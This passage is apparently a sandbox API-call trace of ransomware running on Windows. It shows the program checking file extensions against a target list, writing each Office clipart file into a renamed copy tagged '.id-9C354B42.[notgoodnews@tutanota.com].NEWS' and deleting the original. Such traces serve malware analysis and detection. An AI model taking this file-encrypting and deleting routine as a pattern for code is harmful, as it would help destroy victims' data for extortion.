(lpString1=".docx", lpString2="_.GIF") returned -1 [0232.263] lstrlenW (lpString=".pdf") returned 4 [0232.263] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.263] lstrlenW (lpString=".xls") returned 4 [0232.263] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.263] lstrlenW (lpString=".xlsx") returned 5 [0232.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.263] lstrlenW (lpString=".ppt") returned 4 [0232.263] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0232.263] lstrlenW (lpString=".zip") returned 4 [0232.263] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.263] lstrlenW (lpString=".rar") returned 4 [0232.263] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.263] lstrlenW (lpString=".bz2") returned 4 [0232.263] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.263] lstrlenW (lpString=".7z") returned 3 [0232.263] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0232.264] lstrlenW (lpString=".dbf") returned 4 [0232.264] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0232.264] lstrlenW (lpString=".1cd") returned 4 [0232.264] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0232.264] lstrlenW (lpString=".jpg") returned 4 [0232.264] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0232.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0232.264] lstrlenW (lpString=".doc") returned 4 [0232.264] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.265] lstrlenW (lpString=".docx") returned 5 [0232.265] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.265] lstrlenW (lpString=".pdf") returned 4 [0232.265] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.265] lstrlenW (lpString=".xls") returned 4 [0232.265] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.265] lstrlenW (lpString=".xlsx") returned 5 [0232.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.265] lstrlenW (lpString=".ppt") returned 4 [0232.265] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0232.266] lstrlenW (lpString=".zip") returned 4 [0232.266] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.266] lstrlenW (lpString=".rar") returned 4 [0232.266] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.266] lstrlenW (lpString=".bz2") returned 4 [0232.266] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.266] lstrlenW (lpString=".7z") returned 3 [0232.266] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0232.266] lstrlenW (lpString=".dbf") returned 4 [0232.266] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0232.266] lstrlenW (lpString=".1cd") returned 4 [0232.267] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0232.267] lstrlenW (lpString=".jpg") returned 4 [0232.267] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.267] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0232.268] lstrlenW (lpString="AG00170_.GIF") returned 12 [0232.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0232.458] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=9248) returned 1 [0232.459] CloseHandle (hObject=0x3b0) returned 1 [0232.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 0x20 [0232.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0232.490] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0232.490] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0232.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0232.491] GetLastError () returned 0x0 [0232.492] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x2420, lpOverlapped=0x0) returned 1 [0232.497] WriteFile (in: hFile=0x3b0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x2430, lpOverlapped=0x0) returned 1 [0232.501] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0232.501] WriteFile (in: hFile=0x3b0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.501] SetEndOfFile (hFile=0x3b0) returned 1 [0232.502] CloseHandle (hObject=0x3b0) returned 1 [0232.502] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0232.502] SetEndOfFile (hFile=0x324) returned 1 [0232.511] CloseHandle (hObject=0x324) returned 1 [0232.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0232.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0232.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0232.513] lstrlenW (lpString=".doc") returned 4 [0232.513] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.513] lstrlenW (lpString=".docx") returned 5 [0232.514] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.514] lstrlenW (lpString=".pdf") returned 4 [0232.514] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.514] lstrlenW (lpString=".xls") returned 4 [0232.514] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.514] lstrlenW (lpString=".xlsx") returned 5 [0232.514] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.514] lstrlenW (lpString=".ppt") returned 4 [0232.514] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0232.514] lstrlenW (lpString=".zip") returned 4 [0232.515] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.515] lstrlenW (lpString=".rar") returned 4 [0232.515] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.515] lstrlenW (lpString=".bz2") returned 4 [0232.515] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.515] lstrlenW (lpString=".7z") returned 3 [0232.515] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0232.515] lstrlenW (lpString=".dbf") returned 4 [0232.515] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0232.516] lstrlenW (lpString=".1cd") returned 4 [0232.516] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0232.516] lstrlenW (lpString=".jpg") returned 4 [0232.516] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0232.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0232.516] lstrlenW (lpString=".doc") returned 4 [0232.517] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.517] lstrlenW (lpString=".docx") returned 5 [0232.517] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.517] lstrlenW (lpString=".pdf") returned 4 [0232.517] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.517] lstrlenW (lpString=".xls") returned 4 [0232.517] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.517] lstrlenW (lpString=".xlsx") returned 5 [0232.517] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.517] lstrlenW (lpString=".ppt") returned 4 [0232.517] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0232.518] lstrlenW (lpString=".zip") returned 4 [0232.518] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.518] lstrlenW (lpString=".rar") returned 4 [0232.518] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.518] lstrlenW (lpString=".bz2") returned 4 [0232.518] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.518] lstrlenW (lpString=".7z") returned 3 [0232.518] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0232.518] lstrlenW (lpString=".dbf") returned 4 [0232.518] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0232.519] lstrlenW (lpString=".1cd") returned 4 [0232.519] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 63 [0232.519] lstrlenW (lpString=".jpg") returned 4 [0232.519] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.519] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0232.519] lstrlenW (lpString="AG00171_.GIF") returned 12 [0232.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0232.520] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=5016) returned 1 [0232.520] CloseHandle (hObject=0x324) returned 1 [0232.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0232.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0232.522] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0232.522] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0232.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0232.523] GetLastError () returned 0x0 [0232.523] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x1398, lpOverlapped=0x0) returned 1 [0232.834] WriteFile (in: hFile=0x3b0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x13a0, lpOverlapped=0x0) returned 1 [0232.838] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0232.838] WriteFile (in: hFile=0x3b0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.839] SetEndOfFile (hFile=0x3b0) returned 1 [0232.839] CloseHandle (hObject=0x3b0) returned 1 [0232.840] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0232.840] SetEndOfFile (hFile=0x324) returned 1 [0232.847] CloseHandle (hObject=0x324) returned 1 [0232.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0232.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0232.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0232.894] lstrlenW (lpString=".doc") returned 4 [0232.894] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.894] lstrlenW (lpString=".docx") returned 5 [0232.894] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.894] lstrlenW (lpString=".pdf") returned 4 [0232.894] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.894] lstrlenW (lpString=".xls") returned 4 [0232.895] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.895] lstrlenW (lpString=".xlsx") returned 5 [0232.895] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.895] lstrlenW (lpString=".ppt") returned 4 [0232.895] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0232.895] lstrlenW (lpString=".zip") returned 4 [0232.895] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.895] lstrlenW (lpString=".rar") returned 4 [0232.896] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.896] lstrlenW (lpString=".bz2") returned 4 [0232.896] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.896] lstrlenW (lpString=".7z") returned 3 [0232.896] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0232.896] lstrlenW (lpString=".dbf") returned 4 [0232.896] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0232.897] lstrlenW (lpString=".1cd") returned 4 [0232.897] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0232.897] lstrlenW (lpString=".jpg") returned 4 [0232.897] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0232.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0232.898] lstrlenW (lpString=".doc") returned 4 [0232.898] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.898] lstrlenW (lpString=".docx") returned 5 [0232.898] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.898] lstrlenW (lpString=".pdf") returned 4 [0232.898] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.898] lstrlenW (lpString=".xls") returned 4 [0232.898] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.898] lstrlenW (lpString=".xlsx") returned 5 [0232.899] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.899] lstrlenW (lpString=".ppt") returned 4 [0232.899] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0232.899] lstrlenW (lpString=".zip") returned 4 [0232.899] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.899] lstrlenW (lpString=".rar") returned 4 [0232.899] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.899] lstrlenW (lpString=".bz2") returned 4 [0232.899] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.900] lstrlenW (lpString=".7z") returned 3 [0232.900] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0232.900] lstrlenW (lpString=".dbf") returned 4 [0232.900] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0232.900] lstrlenW (lpString=".1cd") returned 4 [0232.902] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0232.902] lstrlenW (lpString=".jpg") returned 4 [0232.902] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.903] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0232.903] lstrlenW (lpString="AN00010_.WMF") returned 12 [0232.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0232.955] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=3026) returned 1 [0232.955] CloseHandle (hObject=0x338) returned 1 [0232.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0232.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0233.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0233.098] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0233.098] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0233.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0233.114] GetLastError () returned 0x0 [0233.114] ReadFile (in: hFile=0x398, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0xbd2, lpOverlapped=0x0) returned 1 [0233.407] WriteFile (in: hFile=0x3d0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xbe0, lpOverlapped=0x0) returned 1 [0233.410] ReadFile (in: hFile=0x398, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0233.410] WriteFile (in: hFile=0x3d0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.410] SetEndOfFile (hFile=0x3d0) returned 1 [0233.410] CloseHandle (hObject=0x3d0) returned 1 [0233.411] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0233.411] SetEndOfFile (hFile=0x398) returned 1 [0233.421] CloseHandle (hObject=0x398) returned 1 [0233.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0233.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0233.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0233.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0233.551] lstrlenW (lpString=".doc") returned 4 [0233.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.551] lstrlenW (lpString=".docx") returned 5 [0233.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.551] lstrlenW (lpString=".pdf") returned 4 [0233.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.551] lstrlenW (lpString=".xls") returned 4 [0233.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.551] lstrlenW (lpString=".xlsx") returned 5 [0233.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.551] lstrlenW (lpString=".ppt") returned 4 [0233.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0233.552] lstrlenW (lpString=".zip") returned 4 [0233.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.552] lstrlenW 